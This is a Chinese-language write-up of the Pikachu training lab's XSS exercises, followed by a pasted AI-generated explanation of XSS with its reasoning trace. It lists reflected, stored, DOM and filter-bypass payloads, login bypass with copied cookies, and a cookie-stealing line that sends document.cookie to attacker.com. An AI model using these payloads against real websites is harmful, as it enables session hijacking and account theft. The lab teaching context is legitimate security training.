Pikachu | XSS

目录

漏洞概述

反射型xss(get)

payload:反射服务器文件路径

反射型xss(post)

payload:提取登录cookie

存储型xss

payload:hover属性

DOM型xss

样例实践:

payload A:img标签

payload B:alert函数

引申实践:

payload C:服务器文件路径反射

DOM型xss-x

xss之盲打

payload A :

payload B:

xss之过滤

payload:更换标签绕过

payload:大小写绕过

xss之htmlspecialchars

payload:标签闭合

xss之href输出

payload:href属性

xss之js输出

payload:闭合JS


漏洞概述

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

反射型xss(get)

http://192.168.10.9:8086/vul/xss/xss_reflected_get.php?
message=%3Cscript%3Ealert%28window.location.pathname%29%3B%3C%2Fscript%3E
&submit=submit

*输入框限制输入长度,按F12进入开发者模式,鼠标选中输入框找到前端样式,增加可输入长度,

payload:反射服务器文件路径

<script>alert(window.location.pathname);</script>

或 <script>alert(window.location.href);</script>

得到绝对路径。

这一关没有做过滤,是对反射型get xss注入的基本应用实践和理解,get型方法会将参数明文体现出来。也可以直接在url注入。

反射型xss(post)

payload:提取登录cookie

<script>alert(document.cookie)</script>

复制cookie的登陆页面的url,绕过登录:

http://192.168.10.9:8086/vul/xss/xsspost/post_login.php

回车,即可成功绕过登录。反射型post xss提交信息是隐藏在请求体内,涉及到登录主要就是获取cookie。

存储型xss

payload:hover属性

 <div οnmοuseοver="alert(document.location.href)">hover me</div>

存储型xss也没有做过滤处理,特点是对注入做了持久化。

DOM型xss

DOM型注入浏览器F12开发者模式分析一下前端代码:

button:click me这块存在一个onclick事件,查看调用的事件函数,

靶场作者已经给出提示,主要目的是闭合标签并且可以是js语句有效执行,

样例实践:

payload A:img标签

'><img src="#" οnmοuseοver="alert('xss')">

实际注入效果:

payload B:alert函数

' οnclick="alert('xss')">

实际注入效果:

引申实践:

payload C:服务器文件路径反射

'οnclick="alert(window.location.pathname)">

基本上还是通过闭合前端标签还有效执行js,例如网站跳转等。

DOM型xss-x

与DOM型xss-x方式一致。

DOM型xss注入主要涉及到JS HTML DOM,利用事件类型触发注入脚本。

xss之盲打

payload A :

        <script>alert(document.cookie);</script>

payload B:

        <script>alert('我的名字是大明');</script>

点击提交,

根据提示进入后台管理,admin/123456

http://192.168.10.9:8086/vul/xss/xssblind/admin_login.php

取得cookie可以绕过正常登录程序。

由此说明两个输入框都有注入点。

xss之过滤

payload:更换标签绕过

<style οnlοad="alert('xss过滤')"></style>

<img scr=1 onerroe=alert("hack")></img>

payload:大小写绕过

 <stYle οnlοad="alert('xss大小写绕过')"></stYle>

这块主要是对输入的内容做了过滤,需要了解一些绕过手段。

xss之htmlspecialchars

htmlspecialchars是将输入的内容转换为html实体,仍然可以尝试通过闭合标签,需要多次尝试.

payload:标签闭合

#' οnmοuseοver='alert(document.location.href)'

需要了解对<script>标签过滤的逃逸方法和手段。譬如大小写或双写绕过等等。

xss之href输出

payload:href属性

javascript:alert(document.cookie)

主要是对href标签属性的闭合方式实行payload注入。

例如:<a href="javascript:alert(document.cookie)"></a>

<a href='#' οnmοuseοver='alert(document.cookie)'>...

xss之js输出

payload:闭合JS

'</script><script></script>

';alert(123);//

<think> 嗯...用户想了解Pikachu靶场里XSS攻击的核心原理,这需要结合跨站脚本漏洞的本质来解释。用户提供的四个引用都很有价值,特别是引用[2]明确指出XSS前端漏洞,引用[1][3][4]则展示了具体攻击场景。 注意到引用[2]的关键描述:XSS形成是因为程序对输入输出处理不当,导致恶意代码被浏览器执行。这其实就是最核心的原理。用户可能希望更形象的理解,需要把抽象原理和Pikachu实例结合说明。 从技术深度看,用户能提出"原理"这个关键词,应该有一定Web安全基础,但可能对XSS的具体实现机制还不清晰。需要区分三种XSS类型:反射型(如引用[3]的<script>闭合案例)、存储型(如引用[1]的获取cookie)、DOM型(引用[4]的onclick案例),但首次解释原理时不宜太细分。 特别要注意引用[3][4]展示的技术细节:攻击者需要精心构造payload来突破现有HTML结构,比如用'>闭合标签或构造新事件属性。这个"突破结构"的过程就是原理的核心实践。 用户情绪应该是认真求知状态,回复要兼顾严谨性和可读性。最后生成的三个问题覆盖了原理深化(Q1)、防御实践(Q2)和漏洞关联(Q3),形成完整学习路径。 </think> Pikachu靶场中的XSS攻击原理本质上是**利用Web应用对用户输入的不当处理,诱使浏览器执行恶意脚本**。其核心过程如下: ### 核心原理 1. **恶意脚本注入** 攻击者在Web应用的可输入点(如搜索框、留言板)提交包含恶意JavaScript代码的输入。系统未充分过滤或转义这些输入,例如: ```javascript <script>alert('XSS');</script> ``` 或利用事件属性(如引用[4]示例): ```html ' onclick="alert(111)"> <!-- 闭合原有标签并插入新事件 --> ``` 2. **恶意代码存储/反射** - **存储型XSS**:恶意脚本被保存到服务器(如数据库),其他用户访问时自动执行(引用[2])。 - **反射型XSS**:脚本通过URL参数传递,服务端直接返回含恶意代码的页面(引用[1][3])。 - **DOM型XSS**:前端JavaScript不当操作DOM,直接执行攻击代码(引用[2][4])。 3. **浏览器执行** 当用户访问包含恶意代码的页面时,浏览器将其视为合法脚本执行。例如: - 窃取Cookie(引用[1]):`<script>document.location='http://attacker.com/?cookie='+document.cookie</script>` - 钓鱼攻击:伪造登录表单诱导用户输入凭证(引用[1])。 ### 漏洞根源(引用[2]) 1. **输入未过滤** 未对用户输入的`<`, `>`, `"`, `'` 等特殊字符进行过滤或编码。 2. **输出未转义** 服务端或前端将用户输入直接嵌入HTML/JavaScript上下文,未转义危险字符: ```php // 错误示例:直接输出未转义的用户输入 echo "<div>" . $_GET['input'] . "</div>"; ``` 正确做法应使用`htmlspecialchars()`等函数转义(引用[1][2])。 ### Pikachu靶场典型案例 1. **DOM型XSS(引用[3][4])** 攻击闭合前标签并插入新事件: ```javascript ' onclick="alert(111)" > // 闭合<a>标签的href属性 ``` 最终生成: ```html <a href='#' onclick="alert(111)">what do you see?</a> ``` 2. **绕过过滤(引用[3])** 当`<script>`被过滤时,改用`<img>`标签触发: ```html <img src=x onerror=alert(1)> // 利用加载失败事件 ``` ### 防御措施(引用[1][2]) | 措施 | 实现方式 | |---------------------|----------------------------------| | **输入过滤** | 移除或编码`< > " '`等危险字符 | | **输出转义** | 根据上下文使用HTML/JS转义函数 | | **内容安全策略** | 设置CSP头限制脚本来源 | | **HttpOnly Cookie** | 防止JavaScript窃取敏感Cookie | > 总结:XSS本质是**"数据被误解析为代码"**。Pikachu靶场通过模拟未过滤/未转义的用户输入场景,揭示攻击者如何利用此漏洞控制用户浏览器[^1][^2][^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

championliii

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值